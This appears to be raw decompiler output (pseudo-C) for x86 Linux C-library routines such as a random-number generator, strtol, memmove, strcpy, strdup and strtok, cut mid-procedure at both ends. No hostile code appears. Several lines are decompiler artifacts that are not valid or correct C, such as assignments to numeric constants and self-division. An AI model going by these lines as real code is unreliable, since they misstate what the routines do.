                    edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4;
                    edx = ecx + (edx + (edx << 10)) * 2;
                    *(edi + ebx * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345;
                    ebx = esi + 2;
                    ecx = *(edi + ebx * 4 - 4);
                    edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4;
                    edx = ecx + (edx + (edx << 10)) * 2;
                    *(edi + ebx * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345;
                    ebx = esi + 3;
                    ecx = *(edi + ebx * 4 - 4);
                    edx = (ecx + ecx * 2 << 8) + ecx + ((ecx + ecx * 2 << 8) + ecx) * 4;
                    edx = ecx + (edx + (edx << 10)) * 2;
                    *(edi + ebx * 4) = ecx + (edx * 8 - edx) * 4 + (ecx + (edx * 8 - edx) * 4) * 4 + 12345;
                    esi = esi + 4;
                } while(*L08078960 > esi);
            }
        }
        *L08078950 = *L08078964 * 4 + *L08078958;
        *L08078954 = *L08078958;
        for(esi = 0; 1; esi = esi + 1) {
            eax = *L08078960;
            if(esi >= eax + eax * 8 + eax) {
                break;
            }
            L08055E38();
        }
    }
}

/*	Procedure: 0x08055BBA - 0x08055D37
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08055BBA(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    ebx = *L08078958 + -4;
    if(*L0807895C == 0) {
        *( *L08078958 - 4) = 0;
    } else {
        edx = *L08078958;
        *(edx - 4) = ( *L08078954 - edx >> 2) + ( *L08078954 - edx >> 2) * 4 + *L0807895C;
    }
    if(A10 <= 31) {
        if(A10 <= 7) {
            *L08078B14 = 22;
            eax = 0;
            goto L08055d2e;
        }
        *L0807895C = 0;
        *L08078960 = 0;
        *L08078964 = 0;
    } else {
        if(A10 <= 63) {
            *L0807895C = 1;
            *L08078960 = 7;
            *L08078964 = 3;
        } else {
            if(A10 <= 127) {
                *L0807895C = 2;
                *L08078960 = 15;
                goto L08055cc4;
            }
            if(A10 <= 255) {
                *L0807895C = 3;
                *L08078960 = 31;
                *L08078964 = 3;
            } else {
                *L0807895C = 4;
                *L08078960 = 63;
L08055cc4:
                *L08078964 = 1;
            }
        }
    }
    *L08078958 = Ac + 4;
    *L08078968 = *L08078960 * 4 + *L08078958;
    L080559A0(A8);
    if(*L0807895C == 0) {
        *( *L08078958 - 4) = 0;
    } else {
        edx = *L08078958;
        *(edx - 4) = ( *L08078954 - edx >> 2) + ( *L08078954 - edx >> 2) * 4 + *L0807895C;
    }
    eax = ebx;
L08055d2e:
}

/*	Procedure: 0x08055D38 - 0x08055E35
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 12
 */

L08055D38(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    eax = *ebx;
    edi = 5;
    asm("cdq");
    ecx = edi / edi % edi / edi;
    esi = eax;
    Vfffffffc = *L08078958 + -4;
    if(*L0807895C == 0) {
        *( *L08078958 - 4) = 0;
    } else {
        edx = *L08078958;
        *(edx - 4) = ( *L08078954 - edx >> 2) + ( *L08078954 - edx >> 2) * 4 + *L0807895C;
    }
    if(ecx <= 4 && ecx >= 0) {
        *L0807895C = ecx;
        *L08078960 = *(ecx * 4 + 0x80788a8);
        *L08078964 = *(ecx * 4 + 0x80788bc);
    } else {
        *L08078B14 = 22;
        eax = 0;
        goto L08055e2c;
    }
    ebx = ebx + 4;
    *L08078958 = ebx;
    if(*L0807895C != 0) {
        *L08078954 = esi * 4 + ebx;
        eax = esi + *L08078964;
        asm("cdq");
        *L08078960 = *L08078960 / *L08078960;
        *L08078950 = *L08078960 % *L08078960 * 4 + *L08078958;
    }
    *L08078968 = *L08078960 * 4 + *L08078958;
    eax = Vfffffffc;
L08055e2c:
    esp = ebp - 16;
}

/*	Procedure: 0x08055E36 - 0x08055E37
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08055E36()
{



}

/*	Procedure: 0x08055E38 - 0x08055ECB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08055E38()
{



    if(*L0807895C == 0) {
        eax = *L08078958;
        1103515245 = *eax * edx;
        *eax = edx + 12345 & 2147483647;
        return(*( *L08078958));
    }
    *( *L08078950) = *( *L08078950) + *( *L08078954);
    edx = *( *L08078950) >> 1;
    *L08078950 = *L08078950 + 4;
    if(*L08078968 <= *L08078950) {
        *L08078950 = *L08078958;
        *L08078954 = *L08078954 + 4;
    } else {
        *L08078954 = *L08078954 + 4;
        if(*L08078968 <= *L08078954) {
            *L08078954 = *L08078958;
        }
    }
    eax = edx;
    esp = ebp;
}

/*	Procedure: 0x08055ECC - 0x08055F07
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08055ECC()
{



    (save)ebp;
    ebp = esp;
    esp = esp - 4;
    *(ebp - 4) = 32;
    sigprocmask(SIG_UNBLOCK, ebp - 4, 0);
    L08062188();
    do {
    } while(L0806364C(6) == 0);
    exit(-1);
}

/*	Procedure: 0x08055F08 - 0x08055F33
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08055F08(A8)
/* unknown */ void  A8;
{



    eax = L08055F34();
    if(eax != 0) {
        *eax = 2;
        *(eax + 4) = A8;
        eax = 0;
    } else {
        eax = -1;
    }
}

/*	Procedure: 0x08055F34 - 0x08055FB9
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08055F34()
{



    ecx = *L08078AF4;
    do {
        edx = 0;
        if(*(ecx + 4) > 0) {
            eax = 0;
            do {
                if(*(eax + ecx + 8) == 0) {
                    goto L08055f98;
                }
                eax = eax + 12;
                edx = edx + 1;
            } while(*(ecx + 4) != edx);
        }
        if(*(ecx + 4) <= 31) {
            goto L08055fa0;
        }
        ecx = *ecx;
    } while(ecx != 0);
    ecx = L0805BD74(392);
    if(ecx != 0) {
        *ecx = *L08078AF4;
        *L08078AF4 = ecx;
        *(ecx + 4) = 1;
        return(ecx + 8);
L08055f98:
        eax = ecx + eax + 8;
        esp = ebp;
        return;
L08055fa0:
        eax = ecx + ( *(ecx + 4) + *(ecx + 4) * 2) * 4 + 8;
        *(ecx + 4) = *(ecx + 4) + 1;
        esp = ebp;
        return;
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x08055FBA - 0x08055FBB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08055FBA()
{



}

/*	Procedure: 0x08055FBC - 0x0805602B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

exit?(exitval)
{



    (save)ebp;
    ebp = esp;
    (save)edi;
    (save)esi;
    (save)ebx;
    edi = *L08078AF4;
    do {
        ebx = *(edi + 4);
        eax = ebx;
        ebx = ebx - 1;
        if(eax != 0) {
            esi = (ebx + ebx * 2) * 4 + 8;
            do {
                edx = esi + edi;
                eax = *edx;
                if(eax == 1) {
                    *( *(edx + 4))( *(ebp + 8), *(edx + 8));
                } else {
                    < ? L0805600d : ;
                    if(eax == 2) {
                        *( *(edx + 4))();
                    }
                }
                eax = ebx;
                esi = esi + -12;
                ebx = ebx - 1;
            } while(eax != 0);
        }
        edi = *edi;
    } while(edi != 0);
    L08062188();
    (save) *(ebp + 8);
    exit();
}

/*	Procedure: 0x0805602C - 0x08056055
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0805602C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(Ac == 0 || *Ac == 0) {
        return(0);
    }
    if(A8 != 0) {
        *A8 = *Ac & 255;
    }
    esp = ebp;
    return(1);
}

/*	Procedure: 0x08056056 - 0x08056057
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056056()
{



}

/*	Procedure: 0x08056058 - 0x08056063
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056058()
{



    return(L08055E38());
}

/*	Procedure: 0x08056064 - 0x08056433
 *	Argument size: 16
 *	Local size: 52
 *	Save regs size: 12
 */

L08056064(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A14;
    if(ebx != 0) {
        eax = *( *L08078890 + 20);
        Vffffffe4 = eax;
        if(*eax != 0 && *eax != 255) {
            edx = *( *L08078890 + 16);
            al = 0;
            edi = edx;
            asm("cld");
            ecx = -1;
            asm("repne scasb");
            (save) !ecx - 1;
            if(L0805602C( & Vfffffffc, edx) <= 0) {
                Vfffffffc = *( *( *L08078890 + 16)) & 255;
            }
            if(Vfffffffc != 0) {
                goto L080560cc;
            }
        }
    }
    Vffffffe4 = 0;
L080560cc:
    if(A10 < 0 || A10 == 1 || A10 > 36) {
        A10 = 10;
    }
    esi = A8;
    Vffffffec = esi;
    eax = *esi & 255;
    ecx = *L08078FA0;
    if(!( *(ecx + eax * 2 + 1) & 32)) {
        do {
            esi = esi + 1;
        } while(*(ecx + ( *esi & 255) * 2 + 1) & 32);
    }
    if(*esi != 0) {
        if(*esi == 45) {
            Vfffffff8 = 1;
            esi = esi + 1;
        } else {
            if(*esi == 43) {
                Vfffffff8 = 0;
                esi = esi + 1;
            } else {
                Vfffffff8 = 0;
            }
        }
        if(A10 == 16 && *esi == 48) {
            edx = *(esi + 1) & 255;
            if(*( *L08078FA8 + edx * 4) == 88) {
                esi = esi + 2;
            }
        }
        if(A10 == 0) {
            if(*esi == 48) {
                edx = *(esi + 1) & 255;
                if(*( *L08078FA8 + edx * 4) == 88) {
                    esi = esi + 2;
                    A10 = 16;
                } else {
                    A10 = 8;
                }
            } else {
                A10 = 10;
            }
        }
        Vffffffec = esi;
        if(ebx != 0) {
            ebx = Vffffffec;
            dl = *ebx;
            Vffffffd4 = dl;
            if(Vffffffd4 != 0) {
                ecx = *L08078FA0;
                Vffffffcc = *L08078FA8;
                do {
                    eax = Vffffffd4 & 255;
                    if(Vfffffffc != eax && !( *(ecx + eax * 2 + 1) & 8) && ( *(ecx + eax * 2 + 1) & 4 || A10 <= *(Vffffffcc + eax * 4) + -55)) {
                        break;
                    }
                    ebx = ebx + 1;
                    dl = *ebx;
                    Vffffffd4 = dl;
                } while(Vffffffd4 != 0);
            }
            if(Vfffffffc == ( *esi & 255)) {
                ebx = esi;
            } else {
                Vffffffe0 = ebx;
                Vffffffdc = Vfffffffc;
                if(Vffffffe4 != 0) {
                    if(ebx > esi) {
                        do {
                            ecx = Vffffffe0 - 1;
                            ebx = Vffffffe4;
                            do {
                                if(Vffffffdc == ( *ecx & 255)) {
                                    break;
                                }
                                ecx = ecx - 1;
                            } while(ecx >= esi);
                            edx = Vffffffe0 - ecx;
                            if(edx != ( *ebx & 255) + 1) {
                                edx = Vffffffe0 - ecx;
                                ebx = *ebx & 255;
                                if(edx <= ebx + 1) {
                                    if(ecx < esi) {
                                        goto L080562ec;
                                    }
                                    Vffffffe0 = ecx;
                                } else {
                                    Vffffffe0 = ebx + ecx + 1;
                                }
                            } else {
                                if(ecx < esi) {
                                    goto L080562ec;
                                }
                                Vffffffd8 = ecx - 1;
L08056248:
                                do {
                                    ebx = ebx + 1;
                                    if(*ebx == 0) {
                                        ebx = ebx - 1;
                                    }
                                    ecx = ecx - 1;
                                    if(*ebx != 255) {
                                        Vffffffcc = ecx;
                                        if(ecx >= esi) {
                                            do {
                                                if(Vffffffdc == ( *ecx & 255)) {
                                                    break;
                                                }
                                                ecx = ecx - 1;
                                            } while(ecx >= esi);
                                            if(ecx >= esi) {
                                                goto L0805629d;
                                            }
                                        }
                                        edx = Vffffffcc - ecx;
                                        if(edx <= ( *ebx & 255)) {
                                            break;
                                        }
                                        if(ecx < esi) {
                                            goto L080562a9;
                                        }
L0805629d:
                                        edx = Vffffffcc - ecx;
                                        if(edx == ( *ebx & 255)) {
                                            goto L08056248;
                                        } else {
                                            goto L080562a9;
                                        }
                                    }
                                    if(ecx < esi) {
                                        break;
                                    }
                                    do {
                                        if(Vffffffdc == ( *ecx & 255)) {
                                            break;
                                        }
                                        ecx = ecx - 1;
                                    } while(ecx >= esi);
                                } while(ecx >= esi);
                                goto L080562ec;
L080562a9:
                                Vffffffe0 = Vffffffd8;
                            }
                        } while(Vffffffe0 > esi);
                    }
                    eax = esi;
                    if(Vffffffe0 > esi) {
                        eax = Vffffffe0;
                    }
                    ebx = eax;
                    goto L080562f6;
L080562ec:
                    ebx = Vffffffe0;
                }
            }
        } else {
            ebx = 0;
        }
L080562f6:
        edx = 0;
        A10 = A10 / A10;
        Vfffffff0 = A10 % A10;
        Vfffffff4 = -1;
        Vffffffe8 = 0;
        ecx = 0;
        dl = *esi;
        Vffffffd4 = dl;
        if(Vffffffd4 != 0) {
            Vffffffcc = *L08078FA0;
            do {
                if(esi == ebx) {
                    break;
                }
                if(*(Vffffffcc + (Vffffffd4 & 255) * 2 + 1) & 8) {
                    edi = Vffffffd4 & 255;
                    Vffffffd0 = edi;
                    if(*(Vffffffcc + edi * 2 + 1) & 4) {
                        break;
                    }
                    Vffffffd4 = *( *L08078FA8 + edi * 4) + 201;
                } else {
                    Vffffffd4 = Vffffffd4 + 208;
                }
                eax = Vffffffd4 & 255;
                if(A10 <= eax) {
                    break;
                }
                if(Vfffffff4 >= ecx) {
                    != ? 0x8056378 : ;
                    if(Vfffffff0 < eax) {
                        goto L0805636f;
                    }
                    A10 = A10 * ecx;
                    ecx = ecx + (Vffffffd4 & 255);
                } else {
L0805636f:
                    Vffffffe8 = 1;
                }
                esi = esi + 1;
                dl = *esi;
                Vffffffd4 = dl;
            } while(Vffffffd4 != 0);
        }
        if(Vffffffec == esi) {
            goto L080563ec;
        }
        if(Ac != 0) {
            *Ac = esi;
        }
        if(Vfffffff8 != 0) {
            if(ecx > -2147483648) {
                goto L080563b4;
            }
        } else {
            if(ecx > 2147483647) {
L080563b4:
                Vffffffe8 = 1;
            }
        }
        if(Vffffffe8 == 0) {
            goto L080563e0;
        }
        *L08078B14 = 34;
        eax = 2147483647;
        if(Vfffffff8 != 0) {
            eax = -2147483648;
            goto L0805642a;
L080563e0:
            eax = ecx;
            if(Vfffffff8 != 0) {
                eax = ~eax;
            }
        }
    } else {
L080563ec:
        if(Ac != 0) {
            if(Vffffffec - A8 > 1) {
                if(*( *L08078FA4 + ( *(Vffffffec - 1) & 255) * 4) != 120) {
                    goto L08056420;
                }
                edi = Vffffffec;
                if(*(edi - 2) != 48) {
                    goto L08056420;
                }
                edi = edi - 1;
                *Ac = edi;
            } else {
L08056420:
                *Ac = A8;
            }
        }
        eax = 0;
    }
L0805642a:
    esp = ebp - 64;
}

/*	Procedure: 0x08056434 - 0x0805644D
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 0
 */

L08056434(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    return(L08056064(A8, Ac, A10, 0));
}

/*	Procedure: 0x0805644E - 0x0805644F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805644E()
{



}

/*	Procedure: 0x08056450 - 0x0805647E
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L08056450(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    edx = A10;
    if(edx > 0) {
        eax = 0;
        ecx = edx;
        asm("cld");
        asm("repe cmpsb");
        == ? L0805646f : ;
        asm("sbb eax,eax");
        al = al | 1;
        edx = eax;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x0805647F - 0x0805647F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805647F()
{



}

/*	Procedure: 0x08056480 - 0x0805652B
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 8
 */

L08056480(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    edx = A10;
    edi = Ac;
    esi = A8;
    if(edx > 0) {
        eax = edi - esi;
        if(eax >= edx) {
            if(edx > 7) {
                eax = ~edi & 3;
                edx = edx - eax;
                ecx = eax;
                asm("cld");
                asm("rep movsb");
                eax = edx;
                if(edx < 0) {
                    eax = edx + 3;
                }
                ecx = eax >> 2;
                asm("cld");
                asm("rep movsd");
                eax = edx;
                if(edx < 0) {
                    eax = edx + 3;
                }
                al = al & 252;
                edx = edx - eax;
            }
            ecx = edx;
            asm("cld");
            asm("rep movsb");
        } else {
            esi = esi + edx;
            edi = edi + edx;
            if(edx > 7) {
                eax = edi & 3;
                edx = edx - eax;
                edi = edi - 1;
                esi = esi - 1;
                ecx = eax;
                asm("std");
                asm("rep movsb");
                asm("cld");
                edi = edi + -3;
                esi = esi + -3;
                eax = edx;
                if(edx < 0) {
                    eax = edx + 3;
                }
                ecx = eax >> 2;
                asm("std");
                asm("rep movsd");
                asm("cld");
                edi = edi + 4;
                esi = esi + 4;
                eax = edx;
                if(edx < 0) {
                    eax = edx + 3;
                }
                al = al & 252;
                edx = edx - eax;
            }
            edi = edi - 1;
            esi = esi - 1;
            ecx = edx;
            asm("std");
            asm("rep movsb");
            asm("cld");
        }
    }
}

/*	Procedure: 0x0805652C - 0x0805656D
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L0805652C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  edi;



    edx = A10;
    edi = A8;
    if(edx > 7) {
        eax = ~A8 & 3;
        edx = edx - eax;
        ecx = eax;
        asm("cld");
        asm("rep movsb");
        ecx = edx >> 2;
        asm("cld");
        asm("rep movsd");
        edx = edx & 3;
    }
    ecx = edx;
    asm("cld");
    asm("rep movsb");
    return(A8);
}

/*	Procedure: 0x0805656E - 0x0805656F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805656E()
{



}

/*	Procedure: 0x08056570 - 0x080565F5
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08056570(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    edx = A10;
    edi = A8;
    esi = Ac;
    if(A8 - esi >= edx) {
        if(edx > 7) {
            eax = ~A8 & 3;
            edx = edx - eax;
            ecx = eax;
            asm("cld");
            asm("rep movsb");
            ecx = edx >> 2;
            asm("cld");
            asm("rep movsd");
            edx = edx & 3;
        }
        ecx = edx;
        asm("cld");
        asm("rep movsb");
    } else {
        esi = esi + edx;
        edi = edi + edx;
        if(edx > 7) {
            eax = edi & 3;
            edx = edx - eax;
            edi = edi - 1;
            esi = esi - 1;
            ecx = eax;
            asm("std");
            asm("rep movsb");
            asm("cld");
            edi = edi + -3;
            esi = esi + -3;
            ecx = edx >> 2;
            asm("std");
            asm("rep movsd");
            asm("cld");
            edi = edi + 4;
            esi = esi + 4;
            edx = edx & 3;
        }
        edi = edi - 1;
        esi = esi - 1;
        ecx = edx;
        asm("std");
        asm("rep movsb");
        asm("cld");
    }
    return(A8);
}

/*	Procedure: 0x080565F6 - 0x080565F7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080565F6()
{



}

/*	Procedure: 0x080565F8 - 0x0805663C
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 12
 */

L080565F8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    esi = A8;
    ebx = Ac;
    if(esi == ebx) {
        eax = 0;
    } else {
        eax = *esi & 255;
        for(edi = *L08078FA4; 1; eax = *esi & 255) {
            cl = *(edi + eax * 4);
            edx = cl & 255;
            eax = edx - *(edi + ( *ebx & 255) * 4);
            if(eax != 0 || cl == 0) {
                break;
            }
            esi = esi + 1;
            ebx = ebx + 1;
        }
    }
}

/*	Procedure: 0x0805663D - 0x0805663F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805663D()
{



}

/*	Procedure: 0x08056640 - 0x08056662
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L08056640(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    ecx = A8 - Ac - 1;
    do {
        al = *edx;
        edx = edx + 1;
        *(ecx + edx) = al;
    } while(al != 0);
    return(ebx);
}

/*	Procedure: 0x08056663 - 0x08056663
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056663()
{



}

/*	Procedure: 0x08056664 - 0x080566A3
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L08056664(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    al = 0;
    edi = A8;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    ebx = !ecx;
    edi = L0805BD74(ebx);
    if(edi != 0) {
        L0805652C(edi, A8, ebx);
        eax = edi;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x080566A4 - 0x080566B8
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L080566A4(A8)
/* unknown */ void  A8;
{



    return(L08056E14(A8, 0x807ac6c));
}

/*	Procedure: 0x080566B9 - 0x080566BB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080566B9()
{



}

/*	Procedure: 0x080566BC - 0x08056809
 *	Argument size: 12
 *	Local size: 16
 *	Save regs size: 12
 */

L080566BC(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ecx = A10;
    esi = A8;
    ebx = Ac;
    if(esi != ebx) {
        ecx = ecx - 1;
        if(ecx != -1) {
            edi = *L08078FA4;
            eax = !ecx & 3;
            if(ecx <= -1) {
                goto L08056756;
            }
            if(eax == 0) {
                goto L08056784;
            }
            if(eax >= 3) {
                goto L08056756;
            }
            if(eax >= 2) {
                goto L0805672d;
            }
            al = *(edi + ( *esi & 255) * 4);
            Vfffffffc = al;
            eax = (Vfffffffc & 255) - *(edi + ( *ebx & 255) * 4);
            if(eax != 0) {
                goto L08056800;
            }
            if(Vfffffffc != 0) {
                esi = esi + 1;
                ebx = ebx + 1;
                ecx = ecx - 1;
L0805672d:
                al = *(edi + ( *esi & 255) * 4);
                Vfffffff8 = al;
                eax = (Vfffffff8 & 255) - *(edi + ( *ebx & 255) * 4);
                if(eax != 0) {
                    goto L08056800;
                }
                if(Vfffffff8 != 0) {
                    esi = esi + 1;
                    ebx = ebx + 1;
                    ecx = ecx - 1;
L08056756:
                    al = *(edi + ( *esi & 255) * 4);
                    Vfffffff4 = al;
                    eax = (Vfffffff4 & 255) - *(edi + ( *ebx & 255) * 4);
                    if(eax != 0) {
                        goto L08056800;
                    }
                    if(Vfffffff4 != 0) {
                        esi = esi + 1;
                        ebx = ebx + 1;
                        if(ecx - 1 != -1) {
L08056784:
                            Vfffffff0 = ecx;
                            do {
                                cl = *(edi + ( *esi & 255) * 4);
                                edx = cl & 255;
                                eax = edx - *(edi + ( *ebx & 255) * 4);
                                if(eax != 0) {
                                    goto L08056800;
                                }
                                if(cl == 0) {
                                    goto L080567fe;
                                }
                                esi = esi + 1;
                                ebx = ebx + 1;
                                cl = *(edi + ( *esi & 255) * 4);
                                edx = cl & 255;
                                eax = edx - *(edi + ( *ebx & 255) * 4);
                                if(eax != 0) {
                                    goto L08056800;
                                }
                                if(cl == 0) {
                                    goto L080567fe;
                                }
                                esi = esi + 1;
                                ebx = ebx + 1;
                                cl = *(edi + ( *esi & 255) * 4);
                                edx = cl & 255;
                                eax = edx - *(edi + ( *ebx & 255) * 4);
                                if(eax != 0) {
                                    goto L08056800;
                                }
                                if(cl == 0) {
                                    goto L080567fe;
                                }
                                esi = esi + 1;
                                ebx = ebx + 1;
                                cl = *(edi + ( *esi & 255) * 4);
                                edx = cl & 255;
                                eax = edx - *(edi + ( *ebx & 255) * 4);
                                if(eax != 0) {
                                    goto L08056800;
                                }
                                if(cl == 0) {
                                    goto L080567fe;
                                }
                                esi = esi + 1;
                                ebx = ebx + 1;
                                Vfffffff0 = Vfffffff0 + -4;
                            } while(Vfffffff0 != -1);
                        }
                    }
                }
            }
        }
    }
L080567fe:
    eax = 0;
L08056800:
    esp = ebp - 28;
}

/*	Procedure: 0x0805680A - 0x0805680B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805680A()
{



}

/*	Procedure: 0x0805680C - 0x080568CE
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L0805680C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    ecx = Ac;
    ebx = A10;
    edx = A8 - 1;
    if(ebx > 3) {
        esi = ebx >> 2;
        al = *ecx;
        ecx = ecx + 1;
        edx = A8;
        *A8 = al;
        do {
            al = *ecx;
            ecx = ecx + 1;
            edx = edx + 1;
            *edx = al;
            if(al == 0) {
                break;
            }
            al = *ecx;
            ecx = ecx + 1;
            edx = edx + 1;
            *edx = al;
            if(al == 0) {
                break;
            }
            al = *ecx;
            ecx = ecx + 1;
            edx = edx + 1;
            *edx = al;
            if(al == 0) {
                break;
            }
            if(esi = esi - 1) {
                goto L0805686c;
            }
            al = *ecx;
            ecx = ecx + 1;
            edx = edx + 1;
            *edx = al;
        } while(al != 0);
        if(ebx = ebx - edx - A8 - 1) {
            goto L08056881;
        }
    } else {
L0805686c:
        if(!(ebx = ebx & 3)) {
            do {
                al = *ecx;
                ecx = ecx + 1;
                edx = edx + 1;
                *edx = al;
                if(ebx = ebx - 1) {
                    goto L080568c3;
                }
            } while(al != 0);
L08056881:
            eax = ~ebx & 3;
            if(ebx > 0) {
                if(eax == 0) {
                    goto L080568ac;
                }
                if(eax < 3) {
                    if(eax < 2) {
                        edx = edx + 1;
                        *edx = 0;
                        ebx = ebx - 1;
                    }
                    edx = edx + 1;
                    *edx = 0;
                    ebx = ebx - 1;
                }
            }
            edx = edx + 1;
            *edx = 0;
            if(!(ebx = ebx - 1)) {
L080568ac:
                do {
                    *(edx + 1) = 0;
                    *(edx + 2) = 0;
                    *(edx + 3) = 0;
                    edx = edx + 4;
                    *edx = 0;
                } while(ebx = ebx + -4);
            }
        }
    }
L080568c3:
    return(A8);
}

/*	Procedure: 0x080568CF - 0x080568CF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080568CF()
{



}

/*	Procedure: 0x080568D0 - 0x08056951
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 12
 */

L080568D0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    ebx = A8;
    if(ebx == 0) {
        if(*L08078AFC == 0) {
            *L08078B14 = 22;
            eax = 0;
            goto L08056948;
        }
        ebx = *L08078AFC;
    }
    ebx = ebx + L08057DB0(ebx, Ac);
    if(*ebx == 0) {
        *L08078AFC = 0;
        eax = 0;
    } else {
        esi = ebx;
        ebx = L08057B30(esi, Ac);
        if(ebx == 0) {
            *L08078AFC = 0;
        } else {
            *ebx = 0;
            *L08078AFC = ebx + 1;
        }
        eax = esi;
    }
L08056948:
}

/*	Procedure: 0x08056952 - 0x08056953
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08056952()
{



}

/*	Procedure: 0x08056954 - 0x080569BA
 *	Argument size: 8
 *	Local size: 392
 *	Save regs size: 8
 */

L08056954(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffe78;
	/* unknown */ void  Vfffffeb9;



    if(A8 != 0) {
        if(L08057390( & Vfffffe78) == -1) {
            goto L080569aa;
        }
        edx = & Vfffffeb9;
        al = 0;
        edi = edx;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        if(Ac < !ecx) {
            goto L080569a0;
        }
        (save)edx;
        L08056640(A8);
        eax = 0;
    } else {
L080569a0:
        *L08078B14 = 22;
L080569aa:
        eax = -1;
    }
    esp = ebp + -400;
}

/*	Procedure: 0x080569BB - 0x080569BB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080569BB()
{



}

/*	Procedure: 0x080569BC - 0x080569F9
 *	Argument size: -24
 *	Local size: 32
 *	Save regs size: 0
 */

sigaction?(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vffffffe0;
